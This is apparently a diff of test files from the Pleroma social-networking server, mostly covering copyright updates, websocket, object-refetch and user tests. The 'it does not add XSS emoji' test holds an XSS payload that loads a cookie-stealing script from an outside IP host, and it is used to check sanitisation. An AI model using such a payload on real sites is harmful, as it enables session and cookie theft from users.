gsimg = insert(:user, %{nickname: "gsimg"})
|
||||
archaeme = insert(:user, %{nickname: "archaeme"})
|
||||
archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
|
||||
|
||||
expected_mentions = [
|
||||
{"@archaeme", archaeme},
|
||||
{"@archaeme@archae.me", archaeme_remote},
|
||||
{"@gsimg", gsimg},
|
||||
{"@jimm", jimm},
|
||||
{"@o", o}
|
||||
]
|
||||
|
||||
assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
|
||||
end
|
||||
|
||||
test "it adds cool emoji" do
|
||||
text = "I love :firefox:"
|
||||
|
||||
expected_result =
|
||||
"I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
|
||||
|
||||
assert Formatter.emojify(text) == expected_result
|
||||
end
|
||||
|
||||
test "it does not add XSS emoji" do
|
||||
text =
|
||||
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
|
||||
|
||||
custom_emoji = %{
|
||||
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
|
||||
"https://placehold.it/1x1"
|
||||
}
|
||||
|
||||
expected_result =
|
||||
"I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
|
||||
|
||||
assert Formatter.emojify(text, custom_emoji) == expected_result
|
||||
end
|
||||
|
||||
test "it returns the emoji used in the text" do
|
||||
text = "I love :firefox:"
|
||||
|
||||
assert Formatter.get_emoji(text) == [
|
||||
{"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]}
|
||||
]
|
||||
end
|
||||
|
||||
test "it returns a nice empty result when no emojis are present" do
|
||||
text = "I love moominamma"
|
||||
assert Formatter.get_emoji(text) == []
|
||||
end
|
||||
|
||||
test "it doesn't die when text is absent" do
|
||||
text = nil
|
||||
assert Formatter.get_emoji(text) == []
|
||||
end
|
||||
|
||||
test "it escapes HTML in plain text" do
|
||||
text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
|
||||
expected = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.HTMLTest do
|
||||
|
|
|
|||
BIN
test/instance_static/emoji/test_pack/blank.png
Normal file
BIN
test/instance_static/emoji/test_pack/blank.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 95 B |
13
test/instance_static/emoji/test_pack/pack.json
Normal file
13
test/instance_static/emoji/test_pack/pack.json
Normal file
|
|
@ -0,0 +1,13 @@
|
|||
{
|
||||
"pack": {
|
||||
"license": "Test license",
|
||||
"homepage": "https://pleroma.social",
|
||||
"description": "Test description",
|
||||
|
||||
"share-files": true
|
||||
},
|
||||
|
||||
"files": {
|
||||
"blank": "blank.png"
|
||||
}
|
||||
}
|
||||
BIN
test/instance_static/emoji/test_pack_for_import/blank.png
Normal file
BIN
test/instance_static/emoji/test_pack_for_import/blank.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 95 B |
BIN
test/instance_static/emoji/test_pack_nonshared/nonshared.zip
Normal file
BIN
test/instance_static/emoji/test_pack_nonshared/nonshared.zip
Normal file
Binary file not shown.
16
test/instance_static/emoji/test_pack_nonshared/pack.json
Normal file
16
test/instance_static/emoji/test_pack_nonshared/pack.json
Normal file
|
|
@ -0,0 +1,16 @@
|
|||
{
|
||||
"pack": {
|
||||
"license": "Test license",
|
||||
"homepage": "https://pleroma.social",
|
||||
"description": "Test description",
|
||||
|
||||
"fallback-src": "https://nonshared-pack",
|
||||
"fallback-src-sha256": "74409E2674DAA06C072729C6C8426C4CB3B7E0B85ED77792DB7A436E11D76DAF",
|
||||
|
||||
"share-files": false
|
||||
},
|
||||
|
||||
"files": {
|
||||
"blank": "blank.png"
|
||||
}
|
||||
}
|
||||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Integration.MastodonWebsocketTest do
|
||||
|
|
@ -18,6 +18,11 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do
|
|||
|> Map.put(:path, "/api/v1/streaming")
|
||||
|> URI.to_string()
|
||||
|
||||
setup_all do
|
||||
start_supervised(Pleroma.Web.Streamer.supervisor())
|
||||
:ok
|
||||
end
|
||||
|
||||
def start_socket(qs \\ nil, headers \\ []) do
|
||||
path =
|
||||
case qs do
|
||||
|
|
@ -32,6 +37,7 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do
|
|||
capture_log(fn ->
|
||||
assert {:error, {400, _}} = start_socket()
|
||||
assert {:error, {404, _}} = start_socket("?stream=ncjdk")
|
||||
Process.sleep(30)
|
||||
end)
|
||||
end
|
||||
|
||||
|
|
@ -39,17 +45,16 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do
|
|||
capture_log(fn ->
|
||||
assert {:error, {403, _}} = start_socket("?stream=user&access_token=aaaaaaaaaaaa")
|
||||
assert {:error, {403, _}} = start_socket("?stream=user")
|
||||
Process.sleep(30)
|
||||
end)
|
||||
end
|
||||
|
||||
@tag needs_streamer: true
|
||||
test "allows public streams without authentication" do
|
||||
assert {:ok, _} = start_socket("?stream=public")
|
||||
assert {:ok, _} = start_socket("?stream=public:local")
|
||||
assert {:ok, _} = start_socket("?stream=hashtag&tag=lain")
|
||||
end
|
||||
|
||||
@tag needs_streamer: true
|
||||
test "receives well formatted events" do
|
||||
user = insert(:user)
|
||||
{:ok, _} = start_socket("?stream=public")
|
||||
|
|
@ -94,31 +99,32 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do
|
|||
assert {:ok, _} = start_socket("?stream=user&access_token=#{state.token.token}")
|
||||
end
|
||||
|
||||
@tag needs_streamer: true
|
||||
test "accepts the 'user' stream", %{token: token} = _state do
|
||||
assert {:ok, _} = start_socket("?stream=user&access_token=#{token.token}")
|
||||
|
||||
assert capture_log(fn ->
|
||||
assert {:error, {403, "Forbidden"}} = start_socket("?stream=user")
|
||||
Process.sleep(30)
|
||||
end) =~ ":badarg"
|
||||
end
|
||||
|
||||
@tag needs_streamer: true
|
||||
test "accepts the 'user:notification' stream", %{token: token} = _state do
|
||||
assert {:ok, _} = start_socket("?stream=user:notification&access_token=#{token.token}")
|
||||
|
||||
assert capture_log(fn ->
|
||||
assert {:error, {403, "Forbidden"}} = start_socket("?stream=user:notification")
|
||||
Process.sleep(30)
|
||||
end) =~ ":badarg"
|
||||
end
|
||||
|
||||
@tag needs_streamer: true
|
||||
test "accepts valid token on Sec-WebSocket-Protocol header", %{token: token} do
|
||||
assert {:ok, _} = start_socket("?stream=user", [{"Sec-WebSocket-Protocol", token.token}])
|
||||
|
||||
assert capture_log(fn ->
|
||||
assert {:error, {403, "Forbidden"}} =
|
||||
start_socket("?stream=user", [{"Sec-WebSocket-Protocol", "I am a friend"}])
|
||||
|
||||
Process.sleep(30)
|
||||
end) =~ ":badarg"
|
||||
end
|
||||
end
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.ListTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.NotificationTest do
|
||||
|
|
|
|||
|
|
@ -1,13 +1,16 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.ObjectTest do
|
||||
use Pleroma.DataCase
|
||||
import ExUnit.CaptureLog
|
||||
import Pleroma.Factory
|
||||
import Tesla.Mock
|
||||
alias Pleroma.Activity
|
||||
alias Pleroma.Object
|
||||
alias Pleroma.Repo
|
||||
alias Pleroma.Web.CommonAPI
|
||||
|
||||
setup do
|
||||
mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
|
||||
|
|
@ -89,4 +92,110 @@ defmodule Pleroma.ObjectTest do
|
|||
)
|
||||
end
|
||||
end
|
||||
|
||||
describe "get_by_id_and_maybe_refetch" do
|
||||
setup do
|
||||
mock(fn
|
||||
%{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} ->
|
||||
%Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/poll_original.json")}
|
||||
|
||||
env ->
|
||||
apply(HttpRequestMock, :request, [env])
|
||||
end)
|
||||
|
||||
mock_modified = fn resp ->
|
||||
mock(fn
|
||||
%{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} ->
|
||||
resp
|
||||
|
||||
env ->
|
||||
apply(HttpRequestMock, :request, [env])
|
||||
end)
|
||||
end
|
||||
|
||||
on_exit(fn -> mock(fn env -> apply(HttpRequestMock, :request, [env]) end) end)
|
||||
|
||||
[mock_modified: mock_modified]
|
||||
end
|
||||
|
||||
test "refetches if the time since the last refetch is greater than the interval", %{
|
||||
mock_modified: mock_modified
|
||||
} do
|
||||
%Object{} =
|
||||
object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
|
||||
|
||||
assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
|
||||
assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
|
||||
|
||||
mock_modified.(%Tesla.Env{
|
||||
status: 200,
|
||||
body: File.read!("test/fixtures/tesla_mock/poll_modified.json")
|
||||
})
|
||||
|
||||
updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1)
|
||||
assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 8
|
||||
assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 3
|
||||
end
|
||||
|
||||
test "returns the old object if refetch fails", %{mock_modified: mock_modified} do
|
||||
%Object{} =
|
||||
object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
|
||||
|
||||
assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
|
||||
assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
|
||||
|
||||
assert capture_log(fn ->
|
||||
mock_modified.(%Tesla.Env{status: 404, body: ""})
|
||||
|
||||
updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1)
|
||||
assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4
|
||||
assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0
|
||||
end) =~
|
||||
"[error] Couldn't refresh https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"
|
||||
end
|
||||
|
||||
test "does not refetch if the time since the last refetch is greater than the interval", %{
|
||||
mock_modified: mock_modified
|
||||
} do
|
||||
%Object{} =
|
||||
object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
|
||||
|
||||
assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
|
||||
assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
|
||||
|
||||
mock_modified.(%Tesla.Env{
|
||||
status: 200,
|
||||
body: File.read!("test/fixtures/tesla_mock/poll_modified.json")
|
||||
})
|
||||
|
||||
updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: 100)
|
||||
assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4
|
||||
assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0
|
||||
end
|
||||
|
||||
test "preserves internal fields on refetch", %{mock_modified: mock_modified} do
|
||||
%Object{} =
|
||||
object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
|
||||
|
||||
assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
|
||||
assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
|
||||
|
||||
user = insert(:user)
|
||||
activity = Activity.get_create_by_object_ap_id(object.data["id"])
|
||||
{:ok, _activity, object} = CommonAPI.favorite(activity.id, user)
|
||||
|
||||
assert object.data["like_count"] == 1
|
||||
|
||||
mock_modified.(%Tesla.Env{
|
||||
status: 200,
|
||||
body: File.read!("test/fixtures/tesla_mock/poll_modified.json")
|
||||
})
|
||||
|
||||
updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1)
|
||||
assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 8
|
||||
assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 3
|
||||
|
||||
assert updated_object.data["like_count"] == 1
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Plugs.AuthenticationPlugTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.CacheControlTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Plugs.EnsurePublicOrAuthenticatedPlugTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.Plugs.HTTPSecurityPlugTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.Plugs.HTTPSignaturePlugTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.RuntimeStaticPlugTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Plugs.LegacyAuthenticationPlugTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.Plugs.MappedSignatureToIdentityPlugTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Plugs.OAuthPlugTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Plugs.OAuthScopesPlugTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Plugs.SetFormatPlugTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Plugs.SetLocalePlugTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.UploadedMediaPlugTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.ScheduledActivityTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Captcha.Mock do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.ConnCase do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.DataCase do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Tests.Helpers do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule HttpRequestMock do
|
||||
|
|
@ -1004,6 +1004,10 @@ defmodule HttpRequestMock do
|
|||
{:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/sjw.json")}}
|
||||
end
|
||||
|
||||
def get("https://patch.cx/users/rin", _, _, _) do
|
||||
{:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/rin.json")}}
|
||||
end
|
||||
|
||||
def get(url, query, body, headers) do
|
||||
{:error,
|
||||
"Mock response not implemented for GET #{inspect(url)}, #{query}, #{inspect(body)}, #{
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule MRFModuleMock do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Tests.ObanHelpers do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.WebPushHttpClientMock do
|
||||
|
|
|
|||
|
|
@ -77,12 +77,10 @@ defmodule Mix.Tasks.Pleroma.DatabaseTest do
|
|||
assert length(following) == 2
|
||||
assert info.follower_count == 0
|
||||
|
||||
info_cng = Ecto.Changeset.change(info, %{follower_count: 3})
|
||||
|
||||
{:ok, user} =
|
||||
user
|
||||
|> Ecto.Changeset.change(%{following: following ++ following})
|
||||
|> Ecto.Changeset.put_embed(:info, info_cng)
|
||||
|> User.change_info(&Ecto.Changeset.change(&1, %{follower_count: 3}))
|
||||
|> Repo.update()
|
||||
|
||||
assert length(user.following) == 4
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-onl
|
||||
|
||||
defmodule Mix.Tasks.Pleroma.Ecto.MigrateTest do
|
||||
|
|
|
|||
|
|
@ -7,7 +7,16 @@ defmodule Pleroma.InstanceTest do
|
|||
|
||||
setup do
|
||||
File.mkdir_p!(tmp_path())
|
||||
on_exit(fn -> File.rm_rf(tmp_path()) end)
|
||||
|
||||
on_exit(fn ->
|
||||
File.rm_rf(tmp_path())
|
||||
static_dir = Pleroma.Config.get([:instance, :static_dir], "test/instance_static/")
|
||||
|
||||
if File.exists?(static_dir) do
|
||||
File.rm_rf(Path.join(static_dir, "robots.txt"))
|
||||
end
|
||||
end)
|
||||
|
||||
:ok
|
||||
end
|
||||
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Mix.Tasks.Pleroma.RelayTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Mix.Tasks.Pleroma.UserTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
os_exclude = if :os.type() == {:unix, :darwin}, do: [skip_on_mac: true], else: []
|
||||
|
|
@ -7,3 +7,8 @@ ExUnit.start(exclude: os_exclude)
|
|||
Ecto.Adapters.SQL.Sandbox.mode(Pleroma.Repo, :manual)
|
||||
Mox.defmock(Pleroma.ReverseProxy.ClientMock, for: Pleroma.ReverseProxy.Client)
|
||||
{:ok, _} = Application.ensure_all_started(:ex_machina)
|
||||
|
||||
ExUnit.after_suite(fn _results ->
|
||||
uploads = Pleroma.Config.get([Pleroma.Uploaders.Local, :uploads], "test/uploads")
|
||||
File.rm_rf!(uploads)
|
||||
end)
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.UploadTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.UserSearchTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.UserTest do
|
||||
|
|
@ -74,8 +74,8 @@ defmodule Pleroma.UserTest do
|
|||
CommonAPI.follow(follower, unlocked)
|
||||
CommonAPI.follow(follower, locked)
|
||||
|
||||
assert {:ok, []} = User.get_follow_requests(unlocked)
|
||||
assert {:ok, [activity]} = User.get_follow_requests(locked)
|
||||
assert [] = User.get_follow_requests(unlocked)
|
||||
assert [activity] = User.get_follow_requests(locked)
|
||||
|
||||
assert activity
|
||||
end
|
||||
|
|
@ -90,7 +90,7 @@ defmodule Pleroma.UserTest do
|
|||
CommonAPI.follow(accepted_follower, locked)
|
||||
User.follow(accepted_follower, locked)
|
||||
|
||||
assert {:ok, [activity]} = User.get_follow_requests(locked)
|
||||
assert [activity] = User.get_follow_requests(locked)
|
||||
assert activity
|
||||
end
|
||||
|
||||
|
|
@ -99,10 +99,10 @@ defmodule Pleroma.UserTest do
|
|||
follower = insert(:user)
|
||||
|
||||
CommonAPI.follow(follower, followed)
|
||||
assert {:ok, [_activity]} = User.get_follow_requests(followed)
|
||||
assert [_activity] = User.get_follow_requests(followed)
|
||||
|
||||
{:ok, _follower} = User.block(followed, follower)
|
||||
assert {:ok, []} = User.get_follow_requests(followed)
|
||||
assert [] = User.get_follow_requests(followed)
|
||||
end
|
||||
|
||||
test "follow_all follows mutliple users" do
|
||||
|
|
@ -560,7 +560,7 @@ defmodule Pleroma.UserTest do
|
|||
|
||||
test "it enforces the fqn format for nicknames" do
|
||||
cs = User.remote_user_creation(%{@valid_remote | nickname: "bla"})
|
||||
assert cs.changes.local == false
|
||||
assert Ecto.Changeset.get_field(cs, :local) == false
|
||||
assert cs.changes.avatar
|
||||
refute cs.valid?
|
||||
end
|
||||
|
|
@ -584,7 +584,7 @@ defmodule Pleroma.UserTest do
|
|||
{:ok, follower_one} = User.follow(follower_one, user)
|
||||
{:ok, follower_two} = User.follow(follower_two, user)
|
||||
|
||||
{:ok, res} = User.get_followers(user)
|
||||
res = User.get_followers(user)
|
||||
|
||||
assert Enum.member?(res, follower_one)
|
||||
assert Enum.member?(res, follower_two)
|
||||
|
|
@ -600,7 +600,7 @@ defmodule Pleroma.UserTest do
|
|||
{:ok, user} = User.follow(user, followed_one)
|
||||
{:ok, user} = User.follow(user, followed_two)
|
||||
|
||||
{:ok, res} = User.get_friends(user)
|
||||
res = User.get_friends(user)
|
||||
|
||||
